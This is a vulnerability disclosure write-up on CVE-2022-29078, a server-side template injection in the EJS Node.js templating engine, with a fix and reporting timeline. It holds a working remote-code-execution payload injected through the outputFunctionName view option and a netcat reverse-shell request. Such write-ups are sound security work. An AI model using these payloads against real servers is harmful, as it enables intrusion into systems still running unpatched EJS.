Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level.
Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS
In my weekend i started to have a look around to see if the library is vulnerable to server side template injection. Since the library is open source we can have a whitebox approach and look at the source code.
you can use a debugger to put several breakpoint to understand the code flow quicky. Or at least you can do a print (or console.log) to see what functions is called and what is the variables values
The analysis
I noticed an interesting thing in the render function
exports.render = function (template, d, o) {
var data = d || {};
var opts = o || {};
// No options object -- if there are optiony names
// in the data, copy them to options
if (arguments.length == 2) {
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
}
return handleCache(opts, template)(data);
};
The data and options is merged together through this function utils.shallowCopyFromList
So in theory we can overwrite the template options with the data (coming from user)
A look into the function shows it has some restrictions
exports.shallowCopyFromList = function (to, from, list) {
for (var i = 0; i < list.length; i++) {
var p = list[i];
if (typeof from[p] != 'undefined') {
to[p] = from[p];
}
}
return to;
};
It only copies the data if it’s in the passed list defined
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
OK, its time to have a proof of concept and lets try this options to see what impact we can make
// index.js
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
// page.ejs
<h1> You are viewing page number <%= id %></h1>
Now if we lunched this application and send this request for example
http://localhost:3000/page?id=2&debug=true
This will ends up enabling ejs debug mode. But there is not much impact because if there is no errors nothing will show π€·
OK, lets try something else. What about the delimiter
http://localhost:3000/?delimiter=NotExistsDelimiter
ok, This is interesting because it will disclose the template because the delimiter is not exists.
One more thing i tried here is to try to exploit to to have a reDos attack. Because this delimiter is added to regex and this regex is executed against the template contents.
createRegex: function () {
var str = _REGEX_STRING;
var delim = utils.escapeRegExpChars(this.opts.delimiter);
var open = utils.escapeRegExpChars(this.opts.openDelimiter);
var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
str = str.replace(/%/g, delim)
.replace(/</g, open)
.replace(/>/g, close);
return new RegExp(str);
}
So if we added a delimiter xx
the regex will be like this
(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)
But the problem as you see above that it’s well escaped utils.escapeRegExpChars
so we can’t actually put any regex reserved characters (*
,$
, []
..etc) so basically we can’t do somethig catastrophic here.
OK, thats boring. What will be really exciting is to find RCE
The RCE exploit π₯π₯
I spent sometime looking around till i find this interesting lines in the renderFile
function.
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
Interesing, so in the case of express view options
ejs will copy everything into the options without restrictions π
Bingo, now what we need is just to find option included in the template body without escaping
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
so if we injected code in the outputFunctionName
option it will included in the source code.
Payload like this x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
it will be added to the template compiled code
var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;
and our code will be excuted successfully
So lets try a reverse shell
first lets run netcat on our maching
nc -lnvp 1337
and lets inject some code
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
And here we go π₯
Fix & Mitigation
Ejs already issued a fix to prevent injecting any code in the options especially opts.outputFunctionName
and they released v3.1.7
Timeline
- 10 Apr 2022: Reported to vendor
- 12 Apr 2022: CVE number assigned (CVE-2022-29078)
- 20 Apr 2022: Fix released